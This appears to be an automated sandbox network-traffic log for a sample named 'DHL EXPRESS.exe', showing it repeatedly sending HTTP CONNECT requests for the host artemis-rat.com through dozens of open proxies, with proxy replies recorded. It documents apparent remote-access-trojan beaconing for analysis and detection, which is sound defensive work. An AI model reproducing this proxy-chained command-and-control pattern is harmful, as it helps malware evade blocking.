Mar 11, 2024 18:37:35.706342936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:47.706468105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:11.706659079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:59.706423044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2007	192.168.2.8	54204	181.209.78.78	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.434052944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.456566095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.456885099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.456969023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2008	192.168.2.8	55258	177.93.45.156	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.577007055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.330985069 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2009	192.168.2.8	54312	23.164.240.84	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:59.745754004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.800328016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.450323105 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2010	192.168.2.8	49778	162.241.50.179	37876	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.017023087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.027523041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2011	192.168.2.8	55304	213.250.198.66	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.018596888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2012	192.168.2.8	55303	45.11.95.165	5036	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.021080971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.800349951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2013	192.168.2.8	55280	192.111.139.165	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.021631002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2014	192.168.2.8	49755	103.199.155.18	6969	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.021954060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.065855980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.066190004 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2015	192.168.2.8	54388	181.78.73.73	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.022871017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.027523994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.170546055 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2016	192.168.2.8	54384	47.93.52.36	3129	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.036314011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.193466902 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2017	192.168.2.8	55306	45.65.65.18	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.048811913 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2018	192.168.2.8	54393	82.113.157.122	31280	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.062526941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2019	192.168.2.8	49887	51.15.254.129	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.063523054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.065911055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.066189051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.069856882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.268754005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:36.378228903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:48.471996069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:51.109042883 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2020	192.168.2.8	54386	191.243.46.2	18283	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.109000921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.268915892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.269372940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2021	192.168.2.8	55261	152.67.10.190	8100	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.164093018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.835735083 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2022	192.168.2.8	50031	164.92.86.113	57391	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.181036949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.206533909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.206654072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.206800938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:24.300098896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:48.409465075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:36.409553051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2023	192.168.2.8	55264	188.166.119.192	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.197587013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.909493923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.909733057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.706557035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.409858942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:11.097295046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.706495047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:21.769366980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2024	192.168.2.8	55309	68.71.254.6	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.223157883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2025	192.168.2.8	55284	131.186.37.99	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.223294020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2026	192.168.2.8	49958	218.255.187.60	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.263693094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.269112110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.269365072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:12.267034054 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 18:37:12.267055988 CET	269	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2027	192.168.2.8	54415	194.124.36.28	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.266129971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.409600973 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.423119068 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2028	192.168.2.8	49906	88.211.85.169	42931	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:00.309371948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
